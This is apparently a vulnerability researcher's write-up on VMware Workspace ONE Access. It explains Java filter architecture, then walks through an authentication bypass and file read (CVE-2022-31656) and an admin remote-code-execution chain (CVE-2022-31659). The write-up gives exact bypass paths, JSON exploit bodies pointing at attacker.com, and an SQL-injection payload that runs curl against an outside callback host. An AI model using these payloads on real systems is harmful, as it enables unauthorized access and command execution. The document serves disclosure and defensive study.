Dancing on the architecture of VMware Workspace ONE Access (ENG)
I) Java web architecture ?
When a request is sent to a java web container, it must undergo: Listener → Filter → Servlet.
1. Listener
The listener in Java Web development are functional components that automatically execute code when creating, destroying or adding, modifying, or deleting properties to three objects: Application, Session, and Request:
ServletContextListener: monitors the creation and destruction of Servlet context.
ServletContextAttributeListener: monitors the addition, deletion and replacement of Servlet context attributes.
HttpSessionListener: monitors the creation and destruction of a session. There are two situations for destroying a session: one is that the session times out, and the other is that the session is invalidated by calling the invalidate() method of the session object.
HttpSessionAttributeListener: monitors the addition, deletion and replacement of attributes in the Session object.
ServletRequestListener: listen for initialization and destruction of request objects.
ServletRequestAttributeListener: listens for adding, deleting, and replacing attributes of the request object.
Purpose of listener:
- Listeners can be used to listen to client requests and server operations
- Some actions can be taken automatically, such as monitoring the number of online users, statistics of website visits, website access monitoring, etc…
- Life cycle: The life cycle of listener starts from the web container to the destruction of the web container.
2. Filter
Filter is a strong supplement to Servlet Technology. Its main functions are:
- Before the
HttpServletRequest
arrives at the Servlet, intercept the customer'sHttpServletRequest
, check theHttpServletRequest
as needed, or modify theHttpServletRequest
header and data. - Before the
HttpServletResponse
arrives at the client, intercept theHttpServletResponse
, check theHttpServletResponse
as needed, or modify theHttpServletResponse
header and data.
Basic working principle:
- Filter program is a Java class that implements a special interface. Similar to Servlet, it is also called and executed by Servlet container.
- When a Filter is registered in web.xml to intercept a Servlet program, it can decide whether to continue to pass the request to the Servlet program and whether to modify the request and response messages.
- When the Servlet container starts calling a Servlet program, if it is found that a Filter program has been registered to intercept the Servlet, the container will no longer directly call the service method of the Servlet, but call the
doFilter
method of the Filter, and then thedoFilter
method determines whether to deactivate the service method - However, the service method of the Servlet cannot be called directly in the
Filter.doFilter
method. Instead, theFilterChain.doFilter
method is called to activate the service method of the target Servlet. TheFilterChain
object is passed in through the parameters of theFilter.doFilter
method. - As long as we add some program code before and after calling the
FilterChain.doFilter
method statement in theFilter.doFilter
method, we can achieve some special functions before and after the Servlet response. - If the
FilterChain.doFilter
method is not called in theFilter.doFilter
method, the service method of the target Servlet will not be executed, so some illegal access requests can be blocked through the Filter
Filter chain:
- When multiple filters exist at the same time, a filter chain is formed. The web server determines which filter to call first according to the registration order of the filter in the web.xml file
- When the doFilter method of the first filter is called, the web server will create a
FilterChain
object representing the filter chain and pass it to the method. By judging whether there is a filter in theFilterChain
, decide whether to call the filter later
Life cycle:
- When starting the web application, the web container initializes the Filter according to the registration in web.xml. (Filter object is initialized only once)
- Developers can obtain the
FilterConfig
object representing the current filter configuration information through the parameters of the init method😃 - After the Filter object is created, it will reside in memory and will not be destroyed until the web application is removed or the server is stopped. Called before the web container unloads the Filter object. This method is executed only once in the life cycle of the Filter. In this method, the resources used by the Filter can be released. 😂
3. Servlet
Servlet is a program running on the Web server or application server. As an intermediate layer between the request from the HTTP client and the database or application on the HTTP server, servlet is responsible for processing the user’s request, generating the corresponding return information according to the request and providing it to the user.
Life cycle:
- When the server starts (load on startup = 1 is configured in web.xml, which is 0 by default) or when the servlet is requested for the first time, a servlet object will be initialized, that is, the initialization method init(ServletConfig conf) will be executed
- The servlet object handles all client requests and executes them in the service(ServletRequest req, ServletResponse res) method
- When the server shuts down, destroy the servlet object and execute the destroy() method garbage collection by JVM
Ref: java web请求三大器 — — listener、filter、servlet_西木风落的博客-CSDN博客
II) [CVE-2022–31656] Bypass Authentication
While debugging the filter classes, I accidentally discovered something special at org.tukey.web.filters.urlrewrite.RuleChain.doRules. As mentioned above, the java web has many filter layers and we are at the UrlRewriteFilter
layer, which is responsible for mapping requests to some internal servlets based on predefined rules (in the WEB-INF/urlrewrite.xml file)
What caught my attention is that it has a defined rule: if the request has path math with the regex “^/t/([^/])($|/)(((?!META-INF| WEB-INF).))$” then it will map to servlet “/$3” it is quite similar to 2 vulnerabilities CVE-2021–26085 + CVE-2021–26086 on Jira and Confluence allowing attacker to read arbitrary files at 2 folders WEB-INF and META-INF.
One idea immediately popped up was to use a request matching the above rule to access files in the WEB-INF directory. Based on the regex, we can easily see that the request needs to start with “/SAAS/t/_/;/”, so for the request with the path “/SAAS/t/_/;/WEB-INF/web.xml” Based on the rule will be mapped to “/WEB-INF/web.xml”
The program enters org.tuckey.web.filters.urlrewrite.NormalRewrittenUrl.doRewrite()
, where it continues to call this.getRequestDispatcher()
Here the program gets the RequestDispatcher
with the servletPath
whose value is “/;/WEB-INF/web.xml” which is equivalent to “/WEB-INF/web.xml”
After having RequestDispatcher
(rq variable), the program calling rq.forward
this function will forward (forward) the request from one servlet to another so it can also pass the request to “ResourceServlet
” to get resources. This means that the servletPath
having the value “/WEB-INF/web.xml” corresponds to a resource and is accessible.
Not only can it access files in WEB-INF/ directory, but it can also read all files located in webapps directory (/opt/vmware/horizon/workspace/webapps/SAAS)
So I found the error of reading arbitrary files, but is there anything I can do about this vulnerability ???
As mentioned above, RequestDispatcher.forward
can pass requests from one servlet to another, so can we take advantage of this to access a blocked endpoint? I immediately thought of CVE-2022-22972 (if you're unaware of this vulnerability, you should stop and read this blog).
To patch the CVE-2022–22972 vulnerability, the developers added a HostHeaderFilter
class to the filter chain to block all requests with a host header that doesn't point to the server.
private boolean isServerNameAmongTheValidList(String serverName, String gatewayHostName) {
return serverName.equalsIgnoreCase(gatewayHostName) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getHostname()) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getIpV4Address()) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getIpV6Address()) ||
serverName.equalsIgnoreCase("localhost") || serverName.equalsIgnoreCase("127.0.0.1");
}
So to get to the error function (LocalPasswordAuthAdapter.login
) our request needs to go through:
Request for exploiting CVE-2022–22972 will be blocked at HostHeaderFilter
, so can we skip HostHeaderFilter
to go to LoginController.doLoginEmbeddedAuthBrokerCallback
?
For the program to go into LoginController.doLoginEmbeddedAuthBrokerCallback
, we need to map our request to “/auth/login/embeddedauthbroker/callback”
That is, we need to send the request with the path “/SAAS/t/_/;/auth/login/embeddedauthbroker/callback”
And… I have successfully bypassed the authentication. 😂
note: you can use path: /SAAS/t/foo/auth/login/embeddedauthbroker/callback
III) [CVE-2022–31659] Admin RCE
While reading the code of VMware ONE Access, I discovered that often devs use the CommandUtils.executeCommand
function to execute OS commands, so I searched for places that used this function in the hope that I could find an OS Command injection bug. 😄
I found this function used twice at com.vmware.horizon.migration.customgroups.ExportCustomGroup.getVidmUserIds()
.
Fortunately, the function’s input is relative to the input of CommandUtils.executeCommand
. I use Ctrl+Alt+F7 to find out which functions call getVidmUserIds
The IDE takes us to com.vmware.horizon.migration.impl.CustomGroupMigrationServiceImpl.migrateCustomGroup()
, similarly we find the controller function com.vmware.horizon.migration.rest.resource.util.TenantMigrationResource.migrateTenant
and luckily user input from controller function can still affect the input of CommandUtils.executeCommand
high risk of os command injection vulnerability here.
TenantMigrationResource.migrateTenant()
-> TenantMigrationServiceImpl.migrateTenant()
-> CustomGroupMigrationServiceImpl.migrateCustomGroup()
-> ExportCustomGroup.getVidmUserIds()
The next problem is to find the path that leads us to the TenantMigrationResource.migrateTenant
function, as we can see @Path has the value "/migrate/tenant" which means the path we need to find will have the form "/**/migrate/tenant". I spent a lot of time on this. 😢
Because this is a large product, reading all the code is an arduous job. Trying to read the config files (like web.xml) still have no clue, so I switched to speculation with a black box. I have been attempting many root paths or different API types, but they are still not correct. Fortunately, I noticed that there is an API of the form “/SAAS/jersey/manager/api/**” so I tried sending a request to “/SAAS/jersey/manager/api/migrate/tenant” and it was successful to get TenantMigrationResource.migrateTenant
😂 😂 😂
User Input will be a com.vmware.horizon.migration.rest.media.MigrationInfo
object in JSON form. Initially, I tried sending an object with all the fields in it but always got a syntax error, so I decided to send an empty object first, debug, and add something later. 😄
The program calls TenantMigrationServiceImpl.migrateTenant()
The first field the user needs to input is an object of the type List<com.vmware.horizon.migration.exception.ErrorInput>
We can easily see that the field name of this object is “errorInputList
”
For each ErrorInput
, there will be 2 strings, errorType
and errorObjectIdentifier
So my input will have the form:
{
"errorInputList":[
{
"errorType":"foo",
"errorObjectIdentifier":"bar"
}]
}
Next, the program calls migrationInfo.getSourceDestinationInfo()
. Similar to the above, we can also input as follows:
{
"errorInputList":[
{
"errorType":"foo",
"errorObjectIdentifier":"bar"
}],
"sourceDestinationInfo":
{
"sourceHostname":"attacker.com",
"sourceAdministrator":"admin",
"sourcePassword":"cc",
"sourceTenant":"ONE",
"sourceMasterTenant":"ONE",
"destinationHostname":"attacker.com",
"destinationAdministrator":"admin",
"destinationPassword":"cc",
"destinationTenant":"attacker",
"destinationMasterTenantHostname":"attacker.com"
}
}
In the first if statement the program calls validateIfMigrationRequired(previousError, "Tenant")
Here the program checks if the previousError
list contains an ErrorInput
whose ErrorType
is equal to the type variable passed in? because my errorType
is input as "foo" (other than "Tenant"), the program does not enter this if statement.
Next, the program calls this.migrateAllDirectories
Here program get DirectoryMap
from user input.
I can continue to do the above to know how to input or can also create a migrationInfo
object and then use ObjectMapper
to convert it to JSON:
List<Directory> list= new ArrayList<Directory>();
Map<String, List<Directory>> dir = new HashMap<>();
Directory d = new Directory("cc");
list.add(d);
dir.put("LOCAL", list);
migrationInfo.setDirectoryMap(dir);
ObjectMapper mapper = new ObjectMapper();
mapper.writerWithDefaultPrettyPrinter().writeValueAsString(migrationInfo);## Output{
"directoryMap" : {
"LOCAL" : [ {
"type" : "Directory",
"sourceDirectoryBindPassword" : "cc",
"destinationConnectorInstanceId" : null,
"sourceDirectoryId" : null,
"_links" : { }
} ]
},
"sourceDestinationInfo" : {
"sourceHostname" : "attacker.com",
"sourceAdministrator" : "admin",
"sourcePassword" : "cc",
"sourceTenant" : "ONE",
"sourceMasterTenant" : "ONE",
"destinationHostname" : "attacker.com",
"destinationAdministrator" : "admin",
"destinationPassword" : "cc",
"destinationTenant" : "attacker",
"destinationMasterTenantHostname" : "attacker.com",
"_links" : { }
},
"vidmOnboardTenantDefinitionDTO" : null,
"errorInputList" : [ {
"errorType" : "foo",
"errorObjectIdentifier" : "bar"
} ],
"_links" : { }
}
When the program stops in debug mode, you can also run the above code with the “Evaluate expression” feature without writing a new program and adding many libraries.
The input is complete, so I continue to go back to debugging 😃 Go back to the migrateAllDirectories
function, the program checks if the directoryMap
has a key of "LOCAL", then skip:
After exiting the migrateAllDirectories
function, the program enters the else branch of the next if statement. Because I need the program to call this.customGroupMigrationService.migrateCustomGroup(customGroupInfo, migrationResponseTO);
so we need the errorType
input of the ErrorInput
object to be “CustomGroup” for the program to enter the if branch as shown.
# User input now
{
"errorInputList":[
{
"errorType":"CustomGroup",
"errorObjectIdentifier":"LocalDirectory"
}],
"sourceDestinationInfo":
{
"sourceHostname":"attacker.com",
"sourceAdministrator":"admin",
"sourcePassword":"cc",
"sourceTenant":"ONE",
"sourceMasterTenant":"ONE",
"destinationHostname":"attacker.com",
"destinationAdministrator":"admin",
"destinationPassword":"cc",
"destinationTenant":"attacker",
"destinationMasterTenantHostname":"attacker.com"
},
"directoryMap" : {
"LOCAL" : [ {
"type" : "Directory",
"sourceDirectoryBindPassword" : "cc",
"destinationConnectorInstanceId" : null,
"sourceDirectoryId" : null,
"_links" : { }
} ]
}
}
So we made the program go to com.vmware.horizon.migration.impl.CustomGroupMigrationServiceImpl.migrateCustomGroup()
. Here the program calls to this.getVraAuthenticationServerUtils
and this.getVidmAuthenticationServerUtils
The program’s purpose from this stage can be simply explained that the program will take the user group at the source server and import it into the destination server. Therefore, there are three stages we are interested in as follows:
- In stages 1 and 2, the program calls
this.getVraAuthenticationServerUtils
andthis.getVidmAuthenticationServerUtils
to authenticate and authorize the source and destination server using data taken from user input. - In stage 3, after having authenticated the source and destination server, the program will
ExportCustomGroup
in the source server andImportCustomGroup
in the destination server.
The program gets information about DYNAMIC
groups in the source server to prepare to import into the destination server.
⇒ Currently, the source and destination server I am inputting is attacker.com. When the request from the current server is sent to attacker.com, you will not know how to respond correctly 😊. So now you need to assign the address, username, and password values of the source and destination server as the current server and then debug to see how to respond appropriately.
After authenticating and authorizing the source and destination server, the program exports the group from the server source and calls the function exportCustomGroup.getVidmUserIds
To summarize, the exportCustomGroup.getVidmUserIds
function performs two actions as follows:
# Execute command #1, where attacker.com and UserID are user input
/usr/local/horizon/scripts/exportCustomGroupUsers.sh -h attacker.com -l UserID# Get the output from command #1 to use as input for command #2. (output of #1 is string '$USERAME|$DOMAIN|$ORGANIZATION_ID')/usr/local/horizon/scripts/extractUserIdFromDatabase.sh -l '$USERAME|$DOMAIN|$ORGANIZATION_ID'
Executing command #1, the program calls CommandUtils.executeCommand(sb.toString());
At CommandUtils.executeCommand(@Nonnull String command, long maxOutLength, long timeoutInMillis)
, the command is changed to an array:
At executeCommand(@Nonnull String[] command, @Nullable String[] env, @Nullable String commandInput, long maxOutLength, long timeoutInMillis, boolean combinedOutput)
, the program checks that if the command array contains at least one string in the white list, it will be considered a valid command. Then the program executes the command with Runtime.getRuntime().exec
As we can see, the command passed to the exec
function is in the form of an array, which makes it impossible to perform OS command injection right away because the program only treats all user input as an input string that cannot break to execute other programs. (for example, if the input is ['test', '-a', '1${IFS}||ls']
then the program will execute the test
command with the parameters passed as -a
and 1${IFS}|| ls
. Means ||
just a string, not an operator.)
Because it is not possible to do OS command injection here. So I just carefully audit the two programs exportCustomGroupUsers.sh
and extractUserIdFromDatabase.sh
- (1) exportCustomGroupUsers.sh
/usr/local/horizon/scripts/exportCustomGroupUsers.sh -h [HOSTNAME] -l [UserID]
+ HOSTNAME: PostgreSQL server domains — This parameter is taken from user input (this is ‘attacker.com’ in the exploit request).
+ UserID: This parameter is obtained by requesting to ( API: “/SAAS/t/ONE/jersey/manager/api/scim/Groups/.search”)
Here, the program sends a PostgreSQL query to $HOSTNAME:
psql -U postgres -h $HOSTNAME -d vcac -At -c "select \"saas\".\"Users\".\"strUsername\",\"saas\".\"Users\".\"domain\",\"saas\".\"Organizations\".\"strOrganization\" from \"saas\".\"Users\",\"saas\".\"Organizations\" where \"saas\".\"Users\".\"idUser\" IN($UserID ) AND \"saas\".\"Users\".\"idOrganization\"=\"saas\".\"Organizations\".\"id\";"
⇒ The output returned is of the form ‘$USERAME|$DOMAIN|$ORGANIZATION_ID’
- (2) extractUserIdFromDatabase.sh
/usr/local/horizon/scripts/extractUserIdFromDatabase.sh -l '$USERAME|$DOMAIN|$ORGANIZATION_ID'
Here, the program executes the following psql query:
psql -U postgres -d saas -At -c "select \"idUser\" from \"saas\".\"Users\" where \"strUsername\"='$USERNAME' and \"domain\"='$DOMAIN' and \"idOrganization\"=$ORGANIZATION_ID;"
Can’t do OS Command injection to lead to RCE. So is there another way to RCE? Can’t OS Command injection, so can I PSQL injection lead to RCE? ???
Because $HOSTNAME is taken from user input (attacker.com), we can control the output of the command (1) by having $HOSTNAME point to the attacker’s server. You can control the variable $USERNAME in command (2).
I found a way to exploit CVE-2019–9193 so that I can RCE with the following psql query:
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
Since the program will split the initial command string in space characters to create a command array, we need to bypass space with ‘/**/
' in psql query and '${IFS}
' in OS Command (also need to avoid character ',
' and '|
' too)
And $USERNAME after inject will become like this:
1';DROP/**/TABLE/**/IF/**/EXISTS/**/cmd_exec;CREATE/**/TABLE/**/cmd_exec(cmd_output/**/text);COPY/**/cmd_exec/**/FROM/**/PROGRAM/**/'curl${IFS}Ahihi.oastify.com/rce';SELECT/**/*/**/FROM/**/cmd_exec;--'
That is, the psql query in extractUserIdFromDatabase.sh
will become:
psql -U postgres -d saas -At -c "select \"idUser\" from \"saas\".\"Users\" where \"strUsername\"='1';DROP/**/TABLE/**/IF/**/EXISTS/**/cmd_exec;CREATE/**/TABLE/**/cmd_exec(cmd_output/**/text);COPY/**/cmd_exec/**/FROM/**/PROGRAM/**/'curl${IFS}Ahihi.oastify.com/rce';SELECT/**/*/**/FROM/**/cmd_exec;--'' and \"domain\"='$DOMAIN' and \"idOrganization\"=$ORGANIZATION_ID;"select "idUser" from "saas"."Users" where "strUsername"= '1';
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'curl Ahihi.oastify.com/rce';
SELECT * FROM cmd_exec;
⇒ So we have RCE successfully. Below is the general diagram of the exploit process: